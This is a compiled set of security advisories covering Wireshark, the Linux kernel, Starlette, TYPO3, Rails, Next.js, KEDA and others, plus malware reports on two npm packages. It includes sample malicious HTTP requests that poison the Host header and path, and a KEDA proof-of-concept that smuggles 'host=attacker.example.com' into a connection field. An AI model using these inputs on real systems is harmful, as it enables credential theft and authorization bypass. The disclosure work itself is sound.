Search: https://www.*.org/

This update for wireshark fixes the following issues: Update to Wireshark 4.4.18: - CVE-2026-19694: TTX Logger file parser crash (bsc#1275279). - CVE-2026-19695: Gammu DCT3 trace file parser crash (bsc#1275280). - CVE-2026-19696: Ixia IxVeriWave and Vector Informatik BLF file parser crashes on Windows (bsc#1275281). - CVE-2026-76879: C12.22 protocol dissector crash (bsc#1275828). - CVE-2026-76880: RRC protocol dissector crash (bsc#1275829). - CVE-2026-76881: CMS protocol dissector crash (bsc#1275831). - CVE-2026-76882: Bluetooth Attribute Protocol dissector crash (bsc#1275832). - CVE-2026-76883: Catapult DCT2000 file parser crash (bsc#1275833). - CVE-2026-76884: ERF file parser crash (bsc#1275834). - CVE-2026-76885: Tektronix K12xx file parser crash (bsc#1275835). - CVE-2026-76886: C12.22 protocol dissector crash (bsc#1275836). - CVE-2026-76887: Dissection engine reassembly crash (bsc#1275838). - CVE-2026-76888: RDP protocol dissector crash (bsc#1275839). - CVE-2026-76889: UMTS FP protocol dissector crash (bsc#1275840). - CVE-2026-76890: Sharkd utility crash (bsc#1275841). - CVE-2026-76891: Sharkd utility crash (bsc#1275844). - CVE-2026-76917: Bluetooth AVRCP Profile (bsc#1275842). - CVE-2026-76918: SSH protocol dissector crash (bsc#1275843). - CVE-2026-76919: ESS protocol dissector crash (bsc#1275845). - CVE-2026-76920: 3gpp phone log file parser crash (bsc#1275846). - CVE-2026-76921: CMS protocol dissector crash (bsc#1275847). - CVE-2026-76922: Bluetooth BR/EDR FHS protocol dissector crash (bsc#1275848). - CVE-2026-76923: Bluetooth HFP Profile protocol dissector crash (bsc#1275849). - CVE-2026-76924: Kerberos protocol dissector crash (bsc#1275850). - CVE-2026-76926: BUSMASTER file parser abnormal exit (bsc#1275851). - CVE-2026-76927: H.245 protocol dissector crash (bsc#1275852). - CVE-2026-76928: X.509IF protocol dissector crash (bsc#1275853). - CVE-2026-76929: Pcapng file parser crash (bsc#1275854). Many more features, bug fixes and updated protocol support as listed in: https://www.wireshark.org/docs/relnotes/wireshark-4.4.18.html

In the Linux kernel, the following vulnerability has been resolved: erofs: disable LZ4 rolling decompression for now LZ4 rolling decompression [1] was introduced to reduce the memory footprint of temporary pages: For many cases, it is needed for users to read small data within a compressed extent (pcluster), either due to random small read, or since uptodate folios (typically order-0) cannot be reused for decompression again since decompression algorithm refills already-uptodate folios. Rolling decompression works because LZ4 is LZ77-based and only refers to the most recent 64 KiB of decompressed data, so in theory only a bounded rolling window of temporary pages is needed when decompressing. It can save a lot of temporary memory, e.g. 601,960-byte data can be compressed into a 256k LZ4 compressed extent, which means it needs 146 extra pages per request in the worst case if rolling decompression is disabled. However, the upstream LZ4 implementation is not under EROFS' control: For example, the literal copy memmove() may still **copy long literals backward** on x86 based on the address comparison even when the source and destination ranges do not overlap (IOWs, inline decompression doesn't need to be considered here). That breaks the rolling assumption and makes the optimization broken. Disable it for now to make sure the data correctness first since EROFS is used everywhere now: The rolling window approach can be revived once we either ensure that the official LZ4 code always copies forward for non-overlapping ranges or maintain our own LZ4 implementation in EROFS. The main impact is a higher runtime memory footprint; However, recent commit 0f6273ab4637 ("erofs: add a reserved buffer pool for lz4 decompression") helps mitigate this when enabled but it's still not perfect. [1] https://www.usenix.org/conference/atc19/presentation/gao § 3.3 Decompression

In the Linux kernel, the following vulnerability has been resolved: powerpc/irq: Fix missing r2 clobber in PCREL inline assembly In CONFIG_PPC_KERNEL_PCREL mode, r2 is no longer reserved for the TOC pointer and is available as a caller-saved register [0]. Both call_do_irq() and call_do_softirq() use inline assembly to call functions with stack switching, but fail to list r2 in their clobber lists. This causes the compiler to assume r2 is preserved across these calls, leading to register corruption when the called functions (__do_irq and __do_softirq) clobber r2. As a result of this kernel crash during interrupt handling is seen and the kernel fails to boot: BUG: Unable to handle kernel data access on write at 0xc000000404697638 Faulting instruction address: 0xc0000000000181ec Oops: Kernel access of bad area, sig: 11 [#1] NIP [c0000000000181ec] __do_IRQ+0x6c/0xc0 With older GCC, the compiler would conservatively allocate callee-saved registers (like r31) for values spanning function calls, accidentally avoiding the bug: <__do_IRQ>: 00 00 00 60 nop a6 02 08 7c mflr r0 f8 ff e1 fb std r31,-8(r1) f0 ff c1 fb std r30,-16(r1) 2d 03 10 06 pla r31,53297316 ... 3d e8 ff 4b bl c0000000000165ac <__do_irq> 00 00 21 e8 ld r1,0(r1) 28 00 4d e9 ld r10,40(r13) 40 00 21 38 addi r1,r1,64 2a f9 aa 7f stdx r29,r10,r31 With newer GCC 14, the compiler uses r2 for such values, exposing the missing clobber specification: <__do_IRQ>: 00 00 00 60 nop a6 02 08 7c mflr r0 f0 ff c1 fb std r30,-16(r1) f8 ff e1 fb std r31,-8(r1) 29 02 10 06 pla r2,36252592 # c0000000022aadc0 <__irq_regs> ... 85 dc ff 4b bl c000000000015ee0 <__do_irq> 00 00 21 e8 ld r1,0(r1) 28 00 2d e9 ld r9,40(r13) 30 00 21 38 addi r1,r1,48 2a 11 c9 7f stdx r30,r9,r2 Fix this by adding r2 to the clobber list for both call_do_irq() and call_do_softirq() when CONFIG_PPC_KERNEL_PCREL is enabled. [0]: https://www.mail-archive.com/gcc-patches@gcc.gnu.org/msg313226.html

### Summary In affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host. ### Details When a client requests a path that does not start with `/`: ```http GET @google.com HTTP/1.1 Host: localhost ``` affected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 §3.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = "localhost"` and `hostname = "google.com"`, with an empty path: ```text request.url == "http://localhost@google.com" request.url.hostname == "google.com" request.url.path == "" ``` The root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not. This requires an ASGI server that forwards a request-target lacking a leading `/` into `scope["path"]`. ### Impact Any application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers. ### Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == "localhost"`.

### Summary When dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs. When an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. ### Details `HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector. ### Impact An application is affected when all of the following hold: * It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument. * The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response. This also affects frameworks built on Starlette, like FastAPI. ### Mitigation Register `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.

### Summary In affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed. ### Details When a client requests `http://example.com/foo`, it sends: ```http GET /foo HTTP/1.1 Host: example.com ``` Affected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ ":" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example: ```http GET /foo HTTP/1.1 Host: example.com/abc?bar= ``` reconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed. ### Impact Any application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere. ### Mitigation Upgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope["server"]` for malformed values.

### Problem The referrer enforcement introduced with [TYPO3-CORE-SA-2020-006](https://news.typo3.com/security/advisory/typo3-core-sa-2020-006) ([CVE-2020-11069](https://www.cve.org/CVERecord?id=CVE-2020-11069)) became ineffective in TYPO3 v13.0, where TYPO3 CMS started serving the backend and Admin Tool applications from the site's main entry script instead of the dedicated typo3/ directory. Whether a request originated from the backend or Install Tool itself was determined by comparing the referrer against the directory of the entry script, which since then is the site root. As a consequence, requests originating from any script running on one of the TYPO3 instance's own domains, such as a frontend page, were accepted by backend routes and Install Tool endpoints. Attackers able to execute JavaScript on one of those domains, for instance by exploiting a cross-site scripting vulnerability, could invoke these endpoints via Fetch/XHR with the privileges of an authenticated victim's user session. ### Solution Update to TYPO3 versions 13.4.34 LTS, 14.3.6 LTS that fix the problem described. ### Credits Thanks to Hổ Cao Từ for reporting this issue, and to TYPO3 core & security team member Benjamin Franzke for fixing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ce64fb8d6264bfc9affaf6b3544637cb8559b232075b70a48144e5f1c1743020) blekit is published as a React Native BLE SDK, but its main entry re-exports a logger module (`consoleApp`/`initializeLogger`/`getCurrentStatus` from `dist/src/handlelogs.mjs`) that POSTs any string passed to it to `https://api.telegram.org/bot<token>/sendMessage` with a hardcoded `chat_id` of `-1003846719897`. Three live Telegram bot tokens are embedded in the compiled bundle and rotated round-robin; the destination chat is not caller-configurable and is not disclosed in the README. Alongside the relay, the same file exposes `getEnhancedDeviceInfo` (re-exported as `getDeviceInfo`), which gathers precise GPS latitude/longitude with a `https://www.google.com/maps?q=<lat>,<lng>` link, unique device id, IP address, VPN state, brand/model/OS, battery, storage, timezone, locale, and security posture (rooted, emulator, screenLock, mockLocation), and can be stringified via `stringifyData` and passed straight into `consoleApp` to be shipped to the same Telegram chat. Any application that integrates blekit and calls the exported logger silently transmits its data — and, when the device-info helper is used, end-user GPS coordinates and persistent device identifiers — to an author-controlled Telegram channel that the app developer and end user never opted into. ## Source: ghsa-malware (f4213a76b2c5c574d5bfa41897a698d068ba56f146c88855eb2aeb2aac8ec9eb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Overview Two vulnerabilities in the REST API were found in Golf Compete foreUP. The first exposes the merchant, Finix, API credentials directly in customer record responses, allowing any user to obtain and use the payment processor account. The second is a missing object-level authorization check, which lets a user retrieve any other customer's full profile, payment token, and transaction history by changing the golfer_id in the request path. Description Golf Compete foreUP provides cloud-based golf course management software to over 2,000 golf courses. They offer tools that allow the management of customers, inventory, tee times, food & beverages, marketing, billing, etc. The vulnerabilities identified are listed below. CVE-2026-15657 A vulnerability in the foreUP customer REST API exposes merchant credentials. Each customer record response includes the facility’s merchant API credentials in cleartext, exposing the following details: finix_username finix_password finix_merchant_id Merchant credentials are identical across for customers at the same facility and are actively used by the backend to register new payment instruments. Any authenticated customer can obtain the facility’s merchant credentials when querying own record. Combined with the second vulnerability described below, an attacker can retrieve merchant credentials from any customer record at the facility. CVE-2026-15658 A missing object-level authorization also known as BOLA (Broken Object Level Authorization) and IDOR (Insecure Direct Object References) in the REST API endpoint returns the record identified by golfer_id without verifying ownership. A caller can substitute any golfer_id while using their own valid JSON Web Token (JWT) and receive another customer's full profile, including the following details: Name, email, phone numbers, date of birth, address Free‑text household relationship notes Finix payment‑instrument tokens Dwolla bank funding‑source tokens Billing and transaction history Impact With a single valid low‑privilege foreUP customer account, someone can perform the following actions: 1. Retrieve any customer’s full profile and contact data 2. Access stored card tokens and Dwolla ACH funding-source tokens 3. Enumerate and view full billing and transaction history for any customer 4. Obtain live Finix merchant API credentials for the facility Also, because the web API is shared by all tenants, all facilities using foreUP are affected, meaning that a customer from facility A could query merchant information from facility B. Solution On 07/26/2026, foreUP confirmed that all vulnerabilities in this report have been remediated. Users should remain aware of increased phishing and identity theft risks and monitor their accounts for suspicious activity. Acknowledgements Thank you to Eric Mead for reporting this vulnerability. This document was written by Bob Kemerer. Vendor Information One or more vendors are listed for this advisory. Please reference the full report for more information. References https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/02-API_Broken_Object_Level_Authorization https://portswigger.net/web-security/access-control/idor https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References Other Information CVE IDs: CVE-2026-15657 CVE-2026-15658 Date Public: 2026-07-30 Date First Published: 2026-07-30 Date Last Updated: 2026-07-30 15:12 UTC Document Revision: 1 About vulnerability notes Contact us about this vulnerability Provide a vendor statement

### Impact In its default configuration, a Rails application that displays image variants may allow an unauthenticated attacker to read arbitrary files from the server, including the process environment. That environment typically holds `secret_key_base` and often credentials for external systems, which may in turn allow escalation to remote code execution or lateral movement to those systems. ### Details libvips reads and writes file formats through "loaders" and "savers" (or more generally "operations"), many of which are backed by third-party libraries. It marks some of these operations as "unfuzzed", meaning they are unsafe for untrusted content, and several handle formats unrelated to web images. Active Storage did not disable the unfuzzed operations, so an attacker who can upload a crafted file and cause a variant to be generated from it may be able to invoke one. We are aware of a mechanism by which an attacker, by uploading a crafted file, is able to cause disclosure of the contents of arbitrary files accessible on the filesystem of the targeted application. One specific attack chain has been reported to us (see "Disclosure" below), but we do not assume it is the only one that exists. ### Affected applications An application is affected if it meets all of these requirements: - Uses libvips for Active Storage image processing. This is `config.active_storage.variant_processor = :vips`, which `load_defaults 7.0` set and no later default has changed. - Allows image uploads from untrusted users. Generating variants is not a separate requirement. ### Mitigation - Upgrade to a fixed version of `activestorage`. - The minimum version of libvips must be upgraded to `>= 8.13`. - Change `secret_key_base` and change any secrets accessible in the application environment (see "Expire and change secrets" below) Earlier versions of libvips (`< 8.13`) cannot disable unfuzzed operations at all, and Active Storage will raise an exception during boot in such an unsecurable environment. ### Expire and change secrets Upgrading closes the vulnerability but does not undo an exfiltrated secret if that already occurred. An affected application should treat every secret readable by the application process as potentially exposed and change it, including: - `secret_key_base` - The master key, whether stored in `config/master.key` or supplied as `RAILS_MASTER_KEY`, along with everything in `config/credentials.yml.enc` that it decrypts - Credentials for the Active Storage service, such as S3, GCS, or Azure keys - Database credentials - Tokens and keys for any third-party service the application calls Changing `secret_key_base` expires active sessions and requires users to log in again. Encrypted cookies, signed cookies, signed global IDs, and Active Storage URLs are also affected. Rotation should only be used as an intermediate step if necessary. Do not retain an exposed secret as a fallback. ### Workarounds If libvips `< 8.13` is being used, there are no workarounds available other than removing the dependency on libvips from the application. Some applications may have `ruby-vips` declared as a dependency only for image analysis, and those applications may be able to simply remove `ruby-vips` from the Gemfile to remove libvips from the application. Applications that do not use Active Storage can remove `ruby-vips` from the Gemfile to avoid the boot-time checks. If libvips `>= 8.13` is present on the system, applications can disable the unfuzzed operations without upgrading Rails by setting the `VIPS_BLOCK_UNTRUSTED` environment variable, which libvips reads while initializing. Applications also running ruby-vips `>= 2.2.1` or later can instead call `Vips.block_untrusted(true)` from an initializer. ### Releases The fixed releases are available at the normal locations. ### Versions affected - activestorage < 7.2.3.2 - activestorage >= 8.0, < 8.0.5.1 - activestorage >= 8.1, < 8.1.3.1 ### Disclosure Technical details of the attack chain are intentionally omitted from this advisory. They would add nothing to an administrator's decision to upgrade, while making it substantially easier to attack applications that have not yet done so. Details will be disclosed no later than 2026-08-28, via the [Rails Security Announcements](https://discuss.rubyonrails.org/c/security-announcements/9) forum. ### Credit This issue was responsibly reported by [0xacb](https://x.com/0xacb), [s3np41k1r1t0](https://x.com/s3np41k1r1t0) and [castilho](https://x.com/castilho101) from [Ethiack](https://ethiack.com), and [RyotaK](https://ryotak.net) from [GMO Flatt Security Inc.](https://flatt.tech/en/). ### References - libvips 8.13 release notes, [blocking of unfuzzed loaders](https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders) - W.A. Arbaugh, W.L. Fithen, and J. McHugh, ["Windows of Vulnerability: A Case Study Analysis"](https://doi.org/10.1109/2.889093), IEEE Computer 33(12), December 2000 - https:/

An advisory for this issue has been issued at <https://www.drupal.org/sa-contrib-2026-110> and an additional issue was identified and fixed via <https://www.drupal.org/sa-contrib-2026-111> This module is now resupported. See that advisory for more details. *Original content* The security team is marking this project unsupported. There is a known security issue with the project that has not been fixed by the maintainer. If you would like to maintain this project, please read: [https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-mai...](https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-maintainer-of-a-project-that-is-unsupported-for-security-reasons)

## Impact When a Server Action forwards or redirects a request, an attacker can cause the server to send that outbound request to a malicious host (Server-Side Request Forgery). This requires the attacker's request to control Host-associated headers. In some configurations, it's also possible to obtain internal values that weaken middleware/proxy authorization. Applications that use Server Actions are affected when the incoming host header is not fixed to a trusted value. This typically occurs on custom servers, or on deployments not behind a proxy that pins the host. Managed hosting pins the host upstream and is not affected; `next start` and standalone output do the same from version 14.2 onward. ## Workarounds If you cannot upgrade, ensure clients do not control the host header your application receives. Pin or validate `Host` and `X-Forwarded-Host` at your edge or proxy. On version 14.2.0 and later, you can additionally set the `__NEXT_PRIVATE_ORIGIN` environment variable to your deployment's real origin: ```bash __NEXT_PRIVATE_ORIGIN=https://www.example.com node server.js

The security team is marking this project unsupported. There is a known security issue with the project that has not been fixed by the maintainer. If you would like to maintain this project, please read: [https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-mai...](https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-maintainer-of-a-project-that-is-unsupported-for-security-reasons)

The security team is marking this project unsupported. There is a known security issue with the project that has not been fixed by the maintainer. If you would like to maintain this project, please read: [https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-mai...](https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-maintainer-of-a-project-that-is-unsupported-for-security-reasons)

The security team is marking this project unsupported. There is a known security issue with the project that has not been fixed by the maintainer. If you would like to maintain this project, please read: [https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-mai...](https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-maintainer-of-a-project-that-is-unsupported-for-security-reasons)

The security team is marking this project unsupported. There is a known security issue with the project that has not been fixed by the maintainer. If you would like to maintain this project, please read: [https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-mai...](https://www.drupal.org/node/251466#s-becoming-owner-maintainer-or-co-maintainer-of-a-project-that-is-unsupported-for-security-reasons)

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating the scheme or host, allowing a malicious or compromised registry to cause SSRF to internal networks such as http://169.254.169.254/, http://10.0.0.x/, and http://127.0.0.1/, or to downgrade a registry contacted over https:// to an http:// token endpoint in registry/remote/auth/client.go through Client.Do(), Client.fetchBearerToken(), fetchDistributionToken, and fetchOAuth2Token. This issue is fixed in version 2.6.1.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7e3806417e775917428aeea0eb50ecbfec0bc2220282bee33f4138ff43e80dca) index.js runs an async IIFE at module load that performs an outbound fetch to https://www.jsonkeeper.com/b/XVHGD (an anonymous, mutable, public JSON-paste service) and forwards the response's `data.data` field to a worker thread via `worker.postMessage({ type: 'RUN_ERROR_THREAD', payload: data.data })`. The referenced worker module (`./worker-singleton`) is not present in the tarball. Every `require('mongoose-schema-unique')` triggers this fetch, and the paste host lets whoever controls the paste ID substitute new content at any time without a package release, so the payload dispatched into worker execution is attacker-mutable. The behavior is unrelated to the package's documented purpose (a Mongoose uniqueness-validation plugin). The 4.0.3 release also changes the repository URL to a new `mongoose-schema-unique/mongoose-schema-unique` GitHub org while keeping the original author metadata and jumps the major version with a `mongoose ^8` peer dependency — consistent with a name/maintainer takeover of an established package used to ship an import-time remote-code delivery channel to downstream installers.

### Summary Kimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax. This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services. ### Details The vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF. - First, customer invoice text is copied into the invoice model. . Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. - Third, `md2html` enables full Markdown rendering. - Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource. - Finally, the HTML is handed to mPDF. The live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline: - attacker-controlled Markdown - Markdown converted to HTML - HTML rendered by mPDF - mPDF fetches remote image resources from the server side *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure. Depending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows. # Solution - Kimai does not allow to use markdown images any longer and converts them to HTML links instead - Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images) - This change can be a BC break, if someone used - the Kimai domain for hosting invoice or export template images - an internal IP for hosting invoice or export template images See https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" ``` After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`. ### Suggested fix - Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash. - Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding. - Validate each field against an allow-list pattern before use. ### Resources - `pkg/scalers/postgresql_scaler.go` - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING